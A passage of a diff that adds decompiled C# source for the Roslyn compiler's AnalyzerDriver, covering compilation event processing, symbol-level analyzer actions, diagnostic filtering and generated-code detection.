Task.WhenAll(workerTasks.Concat(task).Concat(task2)).ConfigureAwait(continueOnCapturedContext: false); + } + for (int num = 0; num < workerCount; num++) + { + if (workerTasks[num].Status == TaskStatus.RanToCompletion && workerTasks[num].Result != null) + { + completedEvent = workerTasks[num].Result; + break; + } + } + } + else + { + completedEvent = await ProcessCompilationEventsCoreAsync(analysisScope, prePopulatedEventQueue, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + ExecuteSyntaxTreeActions(analysisScope, cancellationToken); + ExecuteAdditionalFileActions(analysisScope, cancellationToken); + } + if (completedEvent != null) + { + await ProcessEventAsync(completedEvent, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + } + catch (Exception exception) when (FatalError.ReportAndPropagateUnlessCanceled(exception, cancellationToken)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DiagnosticAnalyzer/AnalyzerDriver.cs", 1564); + } + } + + private async Task ProcessCompilationEventsCoreAsync(AnalysisScope analysisScope, bool prePopulatedEventQueue, CancellationToken cancellationToken) + { + _ = 1; + try + { + CompilationCompletedEvent completedEvent = null; + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + if ((prePopulatedEventQueue || CompilationEventQueue.IsCompleted) && CompilationEventQueue.Count == 0) + { + break; + } + if (!CompilationEventQueue.TryDequeue(out CompilationEvent d)) + { + if (prePopulatedEventQueue) + { + return completedEvent; + } + Optional optional = await CompilationEventQueue.TryDequeueAsync(cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + if (!optional.HasValue) + { + break; + } + d = optional.Value; + } + if (!(d is CompilationCompletedEvent compilationCompletedEvent)) + { + await ProcessEventAsync(d, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + else + { + completedEvent = compilationCompletedEvent; + } + } + return completedEvent; + } + catch (Exception exception) when (FatalError.ReportAndPropagateUnlessCanceled(exception, cancellationToken)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DiagnosticAnalyzer/AnalyzerDriver.cs", 1623); + } + } + + private async Task ProcessEventAsync(CompilationEvent e, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + EventProcessedState eventProcessedState = await TryProcessEventCoreAsync(e, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + ImmutableArray processedAnalyzers; + switch (eventProcessedState.Kind) + { + default: + return; + case EventProcessedStateKind.Processed: + processedAnalyzers = analysisScope.Analyzers; + break; + case EventProcessedStateKind.PartiallyProcessed: + processedAnalyzers = eventProcessedState.SubsetProcessedAnalyzers; + break; + } + await OnEventProcessedCoreAsync(e, processedAnalyzers, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async Task OnEventProcessedCoreAsync(CompilationEvent compilationEvent, ImmutableArray processedAnalyzers, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + if (!(compilationEvent is SymbolDeclaredCompilationEvent symbolDeclaredCompilationEvent)) + { + if (!(compilationEvent is CompilationUnitCompletedEvent compilationUnitCompletedEvent)) + { + if (compilationEvent is CompilationCompletedEvent compilationCompletedEvent) + { + CompilationCompletedEvent compilationCompletedEvent2 = compilationCompletedEvent; + SemanticModelProvider.ClearCache(compilationCompletedEvent2.Compilation); + } + } + else + { + CompilationUnitCompletedEvent compilationUnitCompletedEvent2 = compilationUnitCompletedEvent; + if (!compilationUnitCompletedEvent2.FilterSpan.HasValue) + { + SemanticModelProvider.ClearCache(compilationUnitCompletedEvent2.CompilationUnit, compilationUnitCompletedEvent2.Compilation); + } + } + return; + } + SymbolDeclaredCompilationEvent symbolDeclaredEvent = symbolDeclaredCompilationEvent; + if (AnalyzerActions.SymbolStartActionsCount > 0) + { + ImmutableArray.Enumerator enumerator = processedAnalyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + await onSymbolAndMembersProcessedAsync(symbolDeclaredEvent.Symbol, current).ConfigureAwait(continueOnCapturedContext: false); + } + } + async Task onSymbolAndMembersProcessedAsync(ISymbol symbol, DiagnosticAnalyzer analyzer) + { + if (AnalyzerActions.SymbolStartActionsCount != 0 && !symbol.IsImplicitlyDeclared) + { + if (symbol is INamespaceOrTypeSymbol item) + { + PerSymbolAnalyzerActionsCache.TryRemove((item, analyzer), out IGroupedAnalyzerActions _); + } + await processContainerOnMemberCompletedAsync(symbol.ContainingNamespace, symbol, analyzer).ConfigureAwait(continueOnCapturedContext: false); + for (INamedTypeSymbol type = symbol.ContainingType; type != null; type = type.ContainingType) + { + await processContainerOnMemberCompletedAsync(type, symbol, analyzer).ConfigureAwait(continueOnCapturedContext: false); + } + } + } + async Task processContainerOnMemberCompletedAsync(INamespaceOrTypeSymbol containerSymbol, ISymbol processedMemberSymbol, DiagnosticAnalyzer analyzer) + { + if (containerSymbol != null && AnalyzerExecutor.TryExecuteSymbolEndActionsForContainer(containerSymbol, processedMemberSymbol, analyzer, s_getTopmostNodeForAnalysis, IsGeneratedCodeSymbol(containerSymbol, cancellationToken), analysisScope.OriginalFilterFile?.SourceTree, analysisScope.OriginalFilterSpan, cancellationToken, out SymbolDeclaredCompilationEvent containingSymbolDeclaredEvent)) + { + await OnEventProcessedCoreAsync(containingSymbolDeclaredEvent, ImmutableArray.Create(analyzer), analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + } + } + + private async ValueTask TryProcessEventCoreAsync(CompilationEvent compilationEvent, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + cancellationToken.ThrowIfCancellationRequested(); + if (!(compilationEvent is SymbolDeclaredCompilationEvent symbolEvent)) + { + if (!(compilationEvent is CompilationUnitCompletedEvent completedEvent)) + { + if (!(compilationEvent is CompilationCompletedEvent endEvent)) + { + if (compilationEvent is CompilationStartedEvent startedEvent) + { + ProcessCompilationStarted(startedEvent, analysisScope, cancellationToken); + return EventProcessedState.Processed; + } + throw new InvalidOperationException("Unexpected compilation event of type " + compilationEvent.GetType().Name); + } + ProcessCompilationCompleted(endEvent, analysisScope, cancellationToken); + return EventProcessedState.Processed; + } + ProcessCompilationUnitCompleted(completedEvent, analysisScope, cancellationToken); + return EventProcessedState.Processed; + } + return await TryProcessSymbolDeclaredAsync(symbolEvent, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async ValueTask TryProcessSymbolDeclaredAsync(SymbolDeclaredCompilationEvent symbolEvent, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + ISymbol symbol = symbolEvent.Symbol; + bool isGeneratedCodeSymbol = IsGeneratedCodeSymbol(symbol, cancellationToken); + bool skipSymbolAnalysis = AnalysisScope.ShouldSkipSymbolAnalysis(symbolEvent); + bool skipDeclarationAnalysis = AnalysisScope.ShouldSkipDeclarationAnalysis(symbol); + bool hasPerSymbolActions = AnalyzerActions.SymbolStartActionsCount > 0 && (!skipSymbolAnalysis || !skipDeclarationAnalysis); + IGroupedAnalyzerActions groupedAnalyzerActions = ((!hasPerSymbolActions) ? EmptyGroupedActions : (await GetPerSymbolAnalyzerActionsAsync(symbol, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false))); + IGroupedAnalyzerActions groupedAnalyzerActions2 = groupedAnalyzerActions; + if (!skipSymbolAnalysis) + { + ExecuteSymbolActions(symbolEvent, analysisScope, isGeneratedCodeSymbol, cancellationToken); + } + if (!skipDeclarationAnalysis) + { + ExecuteDeclaringReferenceActions(symbolEvent, analysisScope, isGeneratedCodeSymbol, groupedAnalyzerActions2, cancellationToken); + } + if (hasPerSymbolActions && !TryExecuteSymbolEndActions(groupedAnalyzerActions2.AnalyzerActions, symbolEvent, analysisScope, isGeneratedCodeSymbol, cancellationToken, out ImmutableArray subsetProcessedAnalyzers)) + { + return subsetProcessedAnalyzers.IsEmpty ? EventProcessedState.NotProcessed : EventProcessedState.CreatePartiallyProcessed(subsetProcessedAnalyzers); + } + return EventProcessedState.Processed; + } + + private void ExecuteSymbolActions(SymbolDeclaredCompilationEvent symbolEvent, AnalysisScope analysisScope, bool isGeneratedCodeSymbol, CancellationToken cancellationToken) + { + ISymbol symbol = symbolEvent.Symbol; + if (!analysisScope.ShouldAnalyze(symbolEvent, s_getTopmostNodeForAnalysis, cancellationToken)) + { + return; + } + ImmutableArray<(DiagnosticAnalyzer, ImmutableArray>)>.Enumerator enumerator = _lazySymbolActionsByKind.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (analyzer, immutableArray) = enumerator.Current; + if (analysisScope.Contains(analyzer) && (int)symbol.Kind < immutableArray.Length) + { + AnalyzerExecutor.ExecuteSymbolActions(immutableArray[(int)symbol.Kind], analyzer, symbolEvent, s_getTopmostNodeForAnalysis, isGeneratedCodeSymbol, analysisScope.FilterFileOpt?.SourceTree, analysisScope.FilterSpanOpt, cancellationToken); + } + } + } + + private bool TryExecuteSymbolEndActions(in AnalyzerActions perSymbolActions, SymbolDeclaredCompilationEvent symbolEvent, AnalysisScope analysisScope, bool isGeneratedCodeSymbol, CancellationToken cancellationToken, out ImmutableArray subsetProcessedAnalyzers) + { + ISymbol symbol = symbolEvent.Symbol; + ImmutableArray symbolEndActions = perSymbolActions.SymbolEndActions; + if (symbolEndActions.IsEmpty || !analysisScope.ShouldAnalyze(symbolEvent, s_getTopmostNodeForAnalysis, cancellationToken)) + { + subsetProcessedAnalyzers = ImmutableArray.Empty; + return true; + } + bool flag = true; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + try + { + foreach (IGrouping item in from a in symbolEndActions + group a by a.Analyzer) + { + DiagnosticAnalyzer key = item.Key; + if (analysisScope.Contains(key)) + { + instance2.Add(key); + ImmutableArray symbolEndActions2 = item.ToImmutableArrayOrEmpty(); + if (!symbolEndActions2.IsEmpty && !AnalyzerExecutor.TryExecuteSymbolEndActions(symbolEndActions2, key, symbolEvent, s_getTopmostNodeForAnalysis, isGeneratedCodeSymbol, analysisScope.OriginalFilterFile?.SourceTree, analysisScope.OriginalFilterSpan, cancellationToken)) + { + flag = false; + continue; + } + AnalyzerManager.MarkSymbolEndAnalysisComplete(symbol, key); + instance.Add(key); + } + } + if (instance2.Count < analysisScope.Analyzers.Length) + { + ImmutableArray.Enumerator enumerator2 = analysisScope.Analyzers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DiagnosticAnalyzer current2 = enumerator2.Current; + if (!instance2.Contains(current2)) + { + AnalyzerManager.MarkSymbolEndAnalysisComplete(symbol, current2); + instance.Add(current2); + } + } + } + if (!flag) + { + subsetProcessedAnalyzers = instance.ToImmutable(); + return false; + } + subsetProcessedAnalyzers = ImmutableArray.Empty; + return true; + } + finally + { + instance2.Free(); + instance.Free(); + } + } + + private static SyntaxNode GetTopmostNodeForAnalysis(ISymbol symbol, SyntaxReference syntaxReference, Compilation compilation, CancellationToken cancellationToken) + { + return compilation.GetSemanticModel(syntaxReference.SyntaxTree).GetTopmostNodeForDiagnosticAnalysis(symbol, syntaxReference.GetSyntax(cancellationToken)); + } + + protected abstract void ExecuteDeclaringReferenceActions(SymbolDeclaredCompilationEvent symbolEvent, AnalysisScope analysisScope, bool isGeneratedCodeSymbol, IGroupedAnalyzerActions additionalPerSymbolActions, CancellationToken cancellationToken); + + private void ProcessCompilationUnitCompleted(CompilationUnitCompletedEvent completedEvent, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + SemanticModel orCreateSemanticModel = GetOrCreateSemanticModel(completedEvent.CompilationUnit, completedEvent.Compilation); + if (!analysisScope.ShouldAnalyze(orCreateSemanticModel.SyntaxTree)) + { + return; + } + bool flag = IsGeneratedCode(orCreateSemanticModel.SyntaxTree, cancellationToken); + if (flag && DoNotAnalyzeGeneratedCode) + { + return; + } + ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)>.Enumerator enumerator = _lazySemanticModelActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (analyzer, semanticModelActions) = enumerator.Current; + if (analysisScope.Contains(analyzer)) + { + AnalyzerExecutor.ExecuteSemanticModelActions(semanticModelActions, analyzer, orCreateSemanticModel, analysisScope.FilterSpanOpt, flag, cancellationToken); + } + } + } + + private void ProcessCompilationStarted(CompilationStartedEvent startedEvent, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + ExecuteCompilationActions(_lazyCompilationActions, startedEvent, analysisScope, cancellationToken); + } + + private void ProcessCompilationCompleted(CompilationCompletedEvent endEvent, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + ExecuteCompilationActions(_lazyCompilationEndActions, endEvent, analysisScope, cancellationToken); + } + + private void ExecuteCompilationActions(ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> compilationActionsMap, CompilationEvent compilationEvent, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)>.Enumerator enumerator = compilationActionsMap.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (analyzer, compilationActions) = enumerator.Current; + if (analysisScope.Contains(analyzer)) + { + AnalyzerExecutor.ExecuteCompilationActions(compilationActions, analyzer, compilationEvent, cancellationToken); + } + } + } + + internal static Action GetDiagnosticSink(Action addDiagnosticCore, Compilation compilation, AnalyzerOptions? analyzerOptions, SeverityFilter severityFilter, ConcurrentSet? suppressedDiagnosticIds) + { + return delegate(Diagnostic diagnostic, CancellationToken cancellationToken) + { + Diagnostic filteredDiagnostic = GetFilteredDiagnostic(diagnostic, compilation, analyzerOptions, severityFilter, suppressedDiagnosticIds, cancellationToken); + if (filteredDiagnostic != null) + { + addDiagnosticCore(filteredDiagnostic); + } + }; + } + + internal static Action GetDiagnosticSink(Action addLocalDiagnosticCore, Compilation compilation, AnalyzerOptions? analyzerOptions, SeverityFilter severityFilter, ConcurrentSet? suppressedDiagnosticIds) + { + return delegate(Diagnostic diagnostic, DiagnosticAnalyzer analyzer, bool isSyntaxDiagnostic, CancellationToken cancellationToken) + { + Diagnostic filteredDiagnostic = GetFilteredDiagnostic(diagnostic, compilation, analyzerOptions, severityFilter, suppressedDiagnosticIds, cancellationToken); + if (filteredDiagnostic != null) + { + addLocalDiagnosticCore(filteredDiagnostic, analyzer, isSyntaxDiagnostic); + } + }; + } + + internal static Action GetDiagnosticSink(Action addDiagnosticCore, Compilation compilation, AnalyzerOptions? analyzerOptions, SeverityFilter severityFilter, ConcurrentSet? suppressedDiagnosticIds) + { + return delegate(Diagnostic diagnostic, DiagnosticAnalyzer analyzer, CancellationToken cancellationToken) + { + Diagnostic filteredDiagnostic = GetFilteredDiagnostic(diagnostic, compilation, analyzerOptions, severityFilter, suppressedDiagnosticIds, cancellationToken); + if (filteredDiagnostic != null) + { + addDiagnosticCore(filteredDiagnostic, analyzer); + } + }; + } + + private static Diagnostic? GetFilteredDiagnostic(Diagnostic diagnostic, Compilation compilation, AnalyzerOptions? analyzerOptions, SeverityFilter severityFilter, ConcurrentSet? suppressedDiagnosticIds, CancellationToken cancellationToken) + { + Diagnostic? diagnostic2 = applyFurtherFiltering(compilation.Options.FilterDiagnostic(diagnostic, cancellationToken)); + if (diagnostic2 == null) + { + suppressedDiagnosticIds?.Add(diagnostic.Id); + } + return diagnostic2; + Diagnostic? applyFurtherFiltering(Diagnostic? diagnostic3) + { + SyntaxTree syntaxTree = diagnostic3?.Location.SourceTree; + if (syntaxTree != null && analyzerOptions.TryGetSeverityFromBulkConfiguration(syntaxTree, compilation, diagnostic3.Descriptor, cancellationToken, out var severity)) + { + diagnostic3 = diagnostic3.WithReportDiagnostic(severity); + } + if (diagnostic3 != null && severityFilter.Contains(DiagnosticDescriptor.MapSeverityToReport(diagnostic3.Severity))) + { + return null; + } + return diagnostic3; + } + } + + private static async Task<(AnalyzerActions actions, ImmutableHashSet unsuppressedAnalyzers)> GetAnalyzerActionsAsync(ImmutableArray analyzers, AnalyzerManager analyzerManager, AnalyzerExecutor analyzerExecutor, AnalysisScope analysisScope, SeverityFilter severityFilter, CancellationToken cancellationToken) + { + AnalyzerActions allAnalyzerActions = AnalyzerActions.Empty; + PooledHashSet unsuppressedAnalyzersBuilder = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + if (!IsDiagnosticAnalyzerSuppressed(current, analyzerExecutor.Compilation.Options, analyzerManager, analyzerExecutor, analysisScope, severityFilter, cancellationToken)) + { + unsuppressedAnalyzersBuilder.Add(current); + allAnalyzerActions = allAnalyzerActions.Append(await analyzerManager.GetAnalyzerActionsAsync(current, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + } + ImmutableHashSet item = unsuppressedAnalyzersBuilder.ToImmutableHashSet(); + unsuppressedAnalyzersBuilder.Free(); + return (actions: allAnalyzerActions, unsuppressedAnalyzers: item); + } + + public bool HasSymbolStartedActions(AnalysisScope analysisScope) + { + if (AnalyzerActions.SymbolStartActionsCount == 0) + { + return false; + } + if (analysisScope.Analyzers.Length == Analyzers.Length) + { + return true; + } + if (analysisScope.Analyzers.Length == 1) + { + DiagnosticAnalyzer diagnosticAnalyzer = analysisScope.Analyzers[0]; + ImmutableArray.Enumerator enumerator = AnalyzerActions.SymbolStartActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Analyzer == diagnosticAnalyzer) + { + return true; + } + } + return false; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + try + { + ImmutableArray.Enumerator enumerator = AnalyzerActions.SymbolStartActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SymbolStartAnalyzerAction current = enumerator.Current; + instance.Add(current.Analyzer); + } + ImmutableArray.Enumerator enumerator2 = analysisScope.Analyzers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DiagnosticAnalyzer current2 = enumerator2.Current; + if (instance.Contains(current2)) + { + return true; + } + } + return false; + } + finally + { + instance.Free(); + } + } + + private async ValueTask GetPerSymbolAnalyzerActionsAsync(ISymbol symbol, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + if (AnalyzerActions.SymbolStartActionsCount == 0 || symbol.IsImplicitlyDeclared) + { + return EmptyGroupedActions; + } + IGroupedAnalyzerActions allActions = EmptyGroupedActions; + ImmutableArray.Enumerator enumerator = analysisScope.Analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + if (SymbolStartAnalyzers.Contains(current)) + { + IGroupedAnalyzerActions groupedAnalyzerActions = await GetPerSymbolAnalyzerActionsAsync(symbol, current, analysisScope.OriginalFilterFile?.SourceTree, analysisScope.OriginalFilterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + if (!groupedAnalyzerActions.IsEmpty) + { + allActions = allActions.Append(groupedAnalyzerActions); + } + } + } + return allActions; + } + + private async ValueTask GetPerSymbolAnalyzerActionsAsync(ISymbol symbol, DiagnosticAnalyzer analyzer, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + if (symbol.IsImplicitlyDeclared) + { + return EmptyGroupedActions; + } + if (!(symbol is INamespaceOrTypeSymbol namespaceOrType)) + { + return await getAllActionsAsync(this, symbol, analyzer, filterTree, filterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + if (PerSymbolAnalyzerActionsCache.TryGetValue((namespaceOrType, analyzer), out IGroupedAnalyzerActions value)) + { + return value; + } + IGroupedAnalyzerActions value2 = await getAllActionsAsync(this, symbol, analyzer, filterTree, filterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return PerSymbolAnalyzerActionsCache.GetOrAdd((namespaceOrType, analyzer), value2); + async ValueTask getAllActionsAsync(AnalyzerDriver driver, ISymbol symbol2, DiagnosticAnalyzer analyzer2, SyntaxTree? filterTree2, TextSpan? filterSpan2, CancellationToken cancellationToken2) + { + IGroupedAnalyzerActions inheritedActions = await getInheritedActionsAsync(driver, symbol2, analyzer2, filterTree2, filterSpan2, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + AnalyzerActions otherActions = await getSymbolActionsCoreAsync(driver, symbol2, analyzer2, filterTree2, filterSpan2, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + if (otherActions.IsEmpty) + { + return inheritedActions; + } + return CreateGroupedActions(analyzer2, inheritedActions.AnalyzerActions.Append(in otherActions)); + } + async ValueTask getInheritedActionsAsync(AnalyzerDriver driver, ISymbol symbol2, DiagnosticAnalyzer analyzer2, SyntaxTree? filterTree2, TextSpan? filterSpan2, CancellationToken cancellationToken2) + { + if (symbol2.ContainingSymbol != null) + { + IGroupedAnalyzerActions groupedAnalyzerActions = await driver.GetPerSymbolAnalyzerActionsAsync(symbol2.ContainingSymbol, analyzer2, filterTree2, filterSpan2, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + if (!groupedAnalyzerActions.IsEmpty && symbol2.ContainingSymbol.Kind != symbol2.Kind) + { + return CreateGroupedActions(analyzer2, AnalyzerActions.Empty.Append(groupedAnalyzerActions.AnalyzerActions, appendSymbolStartAndSymbolEndActions: false)); + } + } + return EmptyGroupedActions; + } + static async ValueTask getSymbolActionsCoreAsync(AnalyzerDriver driver, ISymbol symbol2, DiagnosticAnalyzer diagnosticAnalyzer, SyntaxTree? filterTree2, TextSpan? filterSpan2, CancellationToken cancellationToken2) + { + if (!driver.UnsuppressedAnalyzers.Contains(diagnosticAnalyzer)) + { + return AnalyzerActions.Empty; + } + bool flag = driver.IsGeneratedCodeSymbol(symbol2, cancellationToken2); + if (flag && driver.ShouldSkipAnalysisOnGeneratedCode(diagnosticAnalyzer)) + { + return AnalyzerActions.Empty; + } + return await driver.AnalyzerManager.GetPerSymbolAnalyzerActionsAsync(symbol2, flag, filterTree2, filterSpan2, diagnosticAnalyzer, driver.AnalyzerExecutor, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + } + } + + private static async Task> CreateAnalyzerGateMapAsync(ImmutableHashSet analyzers, AnalyzerManager analyzerManager, AnalyzerExecutor analyzerExecutor, AnalysisScope analysisScope, SeverityFilter severityFilter, CancellationToken cancellationToken) + { + ImmutableSegmentedDictionary.Builder builder = ImmutableSegmentedDictionary.CreateBuilder(); + foreach (DiagnosticAnalyzer analyzer in analyzers) + { + if (!(await analyzerManager.IsConcurrentAnalyzerAsync(analyzer, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false))) + { + SemaphoreSlim value = new SemaphoreSlim(1); + builder.Add(analyzer, value); + } + } + return builder.ToImmutable(); + } + + private static async Task> CreateGeneratedCodeAnalysisFlagsMapAsync(ImmutableHashSet analyzers, AnalyzerManager analyzerManager, AnalyzerExecutor analyzerExecutor, AnalysisScope analysisScope, SeverityFilter severityFilter, CancellationToken cancellationToken) + { + ImmutableSegmentedDictionary.Builder builder = ImmutableSegmentedDictionary.CreateBuilder(); + foreach (DiagnosticAnalyzer analyzer in analyzers) + { + builder.Add(analyzer, await analyzerManager.GetGeneratedCodeAnalysisFlagsAsync(analyzer, analyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutable(); + } + + private bool IsGeneratedCodeSymbol(ISymbol symbol, CancellationToken cancellationToken) + { + if (!IsGeneratedCodeSymbolMap.TryGetValue(symbol, out var value)) + { + return IsGeneratedCodeSymbolMap.GetOrAdd(symbol, computeIsGeneratedCodeSymbol()); + } + return value; + bool computeIsGeneratedCodeSymbol() + { + if (_lazyGeneratedCodeAttribute != null && GeneratedCodeUtilities.IsGeneratedSymbolWithGeneratedCodeAttribute(symbol, _lazyGeneratedCodeAttribute)) + { + return true; + } + ImmutableArray.Enumerator enumerator = symbol.DeclaringSyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + if (!IsGeneratedOrHiddenCodeLocation(current.SyntaxTree, current.Span, cancellationToken)) + { + return false; + } + } + return true; + } + } + + protected bool IsGeneratedCode(SyntaxTree tree, CancellationToken cancellationToken) + { + if (!GeneratedCodeFilesMap.TryGetValue(tree, out var value)) + { + value = computeIsGeneratedCode(); + GeneratedCodeFilesMap.TryAdd(tree, value); + } + return value; + bool computeIsGeneratedCode() + { + return GeneratedCodeUtilities.GetIsGeneratedCodeFromOptions(AnalyzerExecutor.AnalyzerOptions.AnalyzerConfigOptionsProvider.GetOptions(tree)) ?? _isGeneratedCode(tree, cancellationToken); + } + } + + protected bool IsGeneratedOrHiddenCodeLocation(SyntaxTree syntaxTree, TextSpan span, CancellationToken cancellationToken) + { + if (!IsGeneratedCode(syntaxTree, cancellationToken)) + { + return IsHiddenSourceLocation(syntaxTree, span); + } + return true; + } + + protected bool IsHiddenSourceLocation(SyntaxTree syntaxTree, TextSpan span) + { + if (HasHiddenRegions(syntaxTree)) + { + return syntaxTree.IsHiddenPosition(span.Start); + } + return false; + } + + private bool HasHiddenRegions(SyntaxTree tree) + { + if (_lazyTreesWithHiddenRegionsMap == null) + { + return false; + } + if (!_lazyTreesWithHiddenRegionsMap.TryGetValue(tree, out var value)) + { + value = tree.HasHiddenRegions(); + _lazyTreesWithHiddenRegionsMap.TryAdd(tree, value); + } + return value; + } + + internal async Task GetAnalyzerActionCountsAsync(DiagnosticAnalyzer analyzer, CompilationOptions compilationOptions, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + if (IsDiagnosticAnalyzerSuppressed(analyzer, compilationOptions, AnalyzerManager, AnalyzerExecutor, analysisScope, _severityFilter, cancellationToken)) + { + return AnalyzerActionCounts.Empty; + } + AnalyzerActions analyzerActions = await AnalyzerManager.GetAnalyzerActionsAsync(analyzer, AnalyzerExecutor, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + if (analyzerActions.IsEmpty) + { + return AnalyzerActionCounts.Empty; + } + return new AnalyzerActionCounts(in analyzerActions); + } + + internal static bool IsDiagnosticAnalyzerSuppressed(DiagnosticAnalyzer analyzer, CompilationOptions options, AnalyzerManager analyzerManager, AnalyzerExecutor analyzerExecutor, AnalysisScope analysisScope, SeverityFilter severityFilter, CancellationToken cancellationToken) + { + return analyzerManager.IsDiagnosticAnalyzerSuppressed(analyzer, options, s_IsCompilerAnalyzerFunc, analyzerExecutor, analysisScope, severityFilter, cancellationToken); + } + + internal static bool IsCompilerAnalyzer(DiagnosticAnalyzer analyzer) + { + return analyzer is CompilerDiagnosticAnalyzer; + } + + public void Dispose() + { + _lazyCompilationEventQueue?.TryComplete(); + _lazyDiagnosticQueue?.TryComplete(); + _lazyQueueRegistration?.Dispose(); + } + + protected abstract IGroupedAnalyzerActions CreateGroupedActions(DiagnosticAnalyzer analyzer, in AnalyzerActions analyzerActions); +} +internal class AnalyzerDriver : AnalyzerDriver where TLanguageKindEnum : struct +{ + [StructLayout(LayoutKind.Auto)] + private struct ExecutableCodeBlockAnalyzerActions + { + public DiagnosticAnalyzer Analyzer; + + public ImmutableArray> CodeBlockStartActions; + + public ImmutableArray CodeBlockActions; + + public ImmutableArray CodeBlockEndActions; + + public ImmutableArray OperationBlockStartActions; + + public ImmutableArray OperationBlockActions; + + public ImmutableArray OperationBlockEndActions; + } + + private sealed class GroupedAnalyzerActions : IGroupedAnalyzerActions + { + public static readonly GroupedAnalyzerActions Empty = new GroupedAnalyzerActions(ImmutableArray<(DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer)>.Empty, in AnalyzerActions.Empty); + + public ImmutableArray<(DiagnosticAnalyzer analyzer, GroupedAnalyzerActionsForAnalyzer groupedActions)> GroupedActionsByAnalyzer { get; } + + public AnalyzerActions AnalyzerActions { get; } + + public bool IsEmpty => this == Empty; + + private GroupedAnalyzerActions(ImmutableArray<(DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer)> groupedActionsAndAnalyzers, in AnalyzerActions analyzerActions) + { + GroupedActionsByAnalyzer = groupedActionsAndAnalyzers; + AnalyzerActions = analyzerActions; + } + + public static GroupedAnalyzerActions Create(DiagnosticAnalyzer analyzer, in AnalyzerActions analyzerActions) + { + if (analyzerActions.IsEmpty) + { + return Empty; + } + GroupedAnalyzerActionsForAnalyzer item = new GroupedAnalyzerActionsForAnalyzer(analyzer, in analyzerActions, analyzerActionsNeedFiltering: false); + return new GroupedAnalyzerActions(ImmutableArray<(DiagnosticAnalyzer, GroupedAnalyzerActionsForAnalyzer)>.Empty.Add((analyzer, item)), in analyzerActions); + } + + public static GroupedAnalyzerActions Create(ImmutableArray analyzers, in AnalyzerActions analyzerActions) + { + return new GroupedAnalyzerActions(analyzers.SelectAsArray((DiagnosticAnalyzer analyzer, AnalyzerActions analyzerActions2) => (analyzer: analyzer, new GroupedAnalyzerActionsForAnalyzer(analyzer, in analyzerActions2, analyzerActionsNeedFiltering: true)), analyzerActions), in analyzerActions); + } + + IGroupedAnalyzerActions IGroupedAnalyzerActions.Append(IGroupedAnalyzerActions igroupedAnalyzerActions) + { + GroupedAnalyzerActions groupedAnalyzerActions = (GroupedAnalyzerActions)igroupedAnalyzerActions; + return new GroupedAnalyzerActions(GroupedActionsByAnalyzer.AddRange(groupedAnalyzerActions.GroupedActionsByAnalyzer), AnalyzerActions.Append(groupedAnalyzerActions.AnalyzerActions)); + } + } + + private sealed class GroupedAnalyzerActionsForAnalyzer + { + private readonly DiagnosticAnalyzer _analyzer; + + private readonly bool _analyzerActionsNeedFiltering; + + private ImmutableSegmentedDictionary>> _lazyNodeActionsByKind; + + private ImmutableSegmentedDictionary> _lazyOperationActionsByKind; + + private ImmutableArray> _lazyCodeBlockStartActions; + + private ImmutableArray _lazyCodeBlockEndActions; + + private ImmutableArray _lazyCodeBlockActions; + + private ImmutableArray _lazyOperationBlockStartActions; + + private ImmutableArray _lazyOperationBlockActions; + + private ImmutableArray _lazyOperationBlockEndActions; + + public AnalyzerActions 